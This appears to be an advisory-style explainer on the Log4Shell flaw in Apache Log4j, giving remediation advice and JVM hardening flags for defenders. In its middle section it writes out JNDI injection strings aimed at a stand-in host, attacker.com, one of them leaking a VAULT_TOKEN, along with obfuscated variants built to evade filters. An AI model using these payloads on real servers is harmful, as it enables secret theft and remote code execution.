Home

Apache Log4j CVE-2021-44228

Unique Views: 1,040
sinceJune, 2023

On Dec.10, 2021, a new, critical Log4j vulnerability was disclosed: Log4Shell.

This vulnerability within the popular Java logging framework was published as CVE-2021-44228 and categorized as Critical with a CVSS score of 10, which is the highest score possible. The vulnerability was discovered by Chen Zhaojun from Alibaba’s Cloud Security team.

All current versions of log4j2 up to and including 2.14.1 are vulnerable. You can remediate this vulnerability by updating to version 2.15.0 or later.

Many application frameworks in the Java ecosystem use this logging framework by default. For instance, Apache Struts 2, Apache Solr, and Apache Druid are all affected. Aside from those, Apache log4j is also used in many Spring and Spring Boot applications, so we suggest you check your applications and update them to the latest version.

Brian Vermeer, Foojay Java Security Community Manager

(Read the complete article on Snyk.io.)

The above describes the RCE (remote code execution vulnerability), illustrated below by GovCERT.ch:

Note the following on the attack vulnerabilities relating to system properties, environment variables, and deserialization, provided by Lari Hotari from DataStax.

LDAP Attack Vectors on Recent Java Versions

Let's ask ourselves the question how and to what extent an LDAP attack vector impacts JDKs.

The LDAP attack vector exists and there are several forms of LDAP attack vectors:

  • leakage of system properties and environment properties with LDAP calls
  • possible DoS attacks with LDAP calls
  • LDAP deserialization attacks resulting from the RCE

Using LDAP calls to leak information about environment variables and system properties

Examples:

${jndi:ldap://${env:VAULT_TOKEN}.tokens.attacker.com/a} 
${jndi:ldap://${sys:java.vm.version}.tokens.attacker.com/a}

Notice, there are several evasion techniques, some examples:

  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
  • ${${lower:-j}${lower:-n}${lower:-d}${lower:-i}:${lower:-l}${lower:-d}${lower:-a}${lower:-p}://attacker.com/a}

Finding out what could have been leaked

  • Listing system properties of an active Java process
    • Use jinfo -sysprops <pid> to list system properties
  • Listing environment variables
    • On Linux, you can list environment variables available in a process with cat /proc/<pid>/environ | xargs -0 -n 1 echo

For docker / k8s containers without a shell or when jinfo doesn't exist, you can use https://github.com/apangin/jattach with the properties command. jattach could be run on the docker host / k8s node. The cat /proc/<pid>/environ | xargs -0 -n 1 echo solution works also on the docker host / k8s node. The pid is the host pid in that case.

LDAP deserialization attacks resulting from the RCE

This is one of the points of the blog post PSA: Log4Shell and the current state of JNDI injection, it contains references to other sources with more details (f.e. Exploiting JNDI injections in JDK 1.8.0_191+).

LDAP deserialization attacks are possible even on latest Java versions. Deserialization is enabled by default. It can be disabled on most recent Java versions. For example, with system properties:

"-Djdk.serialFilter=!*" "-Djdk.jndi.object.factoriesFilter=!*" "-Dcom.sun.jndi.ldap.object.trustSerialData=false"

could be used to disable remote object deserialization when using LDAP over JNDI. These settings could break applications depending on the serialization being enabled and using JNDI. The javadocs in JDK17 contain more information:

There's also Java Serialization Filtering documentation and JEPS-290. The controls are featured at least in:

Other information

Relevant Tweets

Set Event Reminder

Subscribe to foojay updates:

https://foojay.io/feed/
Copied to the clipboard